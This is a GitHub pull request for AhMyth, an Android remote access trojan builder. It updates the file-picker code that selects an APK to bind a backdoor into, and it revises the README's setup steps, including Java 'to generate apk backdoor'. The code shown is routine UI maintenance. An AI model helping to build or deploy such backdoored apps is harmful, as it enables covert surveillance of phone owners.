Skip to content
This repository has been archived by the owner on Sep 3, 2021. It is now read-only.

Update AppCtrl.js #275

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 12 additions & 9 deletions AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js
Original file line number Diff line number Diff line change
Expand Up @@ -100,28 +100,31 @@ app.controller("AppCtrl", ($scope) => {


// function to open the dialog and choose apk to be bindded
$appCtrl.BrowseApk = () => {
dialog.showOpenDialog(function(fileNames) {
// fileNames is an array that contains all the selected
if (fileNames === undefined) {
$appCtrl.BrowseApk = () => {
dialog.showOpenDialog({}, {
properties: ['openFile']
}).then(result => {
if(result.canceled) {
$appCtrl.Log("No file selected");
} else {
$appCtrl.Log("File choosen " + fileNames[0]);
readFile(fileNames[0]); // read the file
$appCtrl.Log("File choosen " + result.filePaths[0]);
readFile(result.filePaths[0]);
}
});
}).catch(() => {
$appCtrl.Log("No file selected");
})

function readFile(filepath) {
$appCtrl.filePath = filepath;
$appCtrl.$apply();
}

}






// function to build the apk and sign it
$appCtrl.GenerateApk = (apkFolder) => {

Expand Down Expand Up @@ -418,4 +421,4 @@ function GetLanucherPath(manifest, smaliPath) {



}
}
5 changes: 3 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,11 +10,12 @@ It consists of two parts :
#### 1) From source code
###### Prerequisite :
* Electron (to start the app)
* Java (to generate apk backdoor)
* Openjdk-8-jdk/Java (to generate apk backdoor)
* Electron-builder and electron-packer (to build binaries for (OSX,WINDOWS,LINUX))
1. ```git clone https://github.com/AhMyth/AhMyth-Android-RAT.git```
2. ```cd AhMyth-Android-RAT/AhMyth-Server```
3. ```npm start```
3. ```npm install && npm audit fix```
4. ```npm start```

#### 2) From binaries
###### Prerequisite :
Expand Down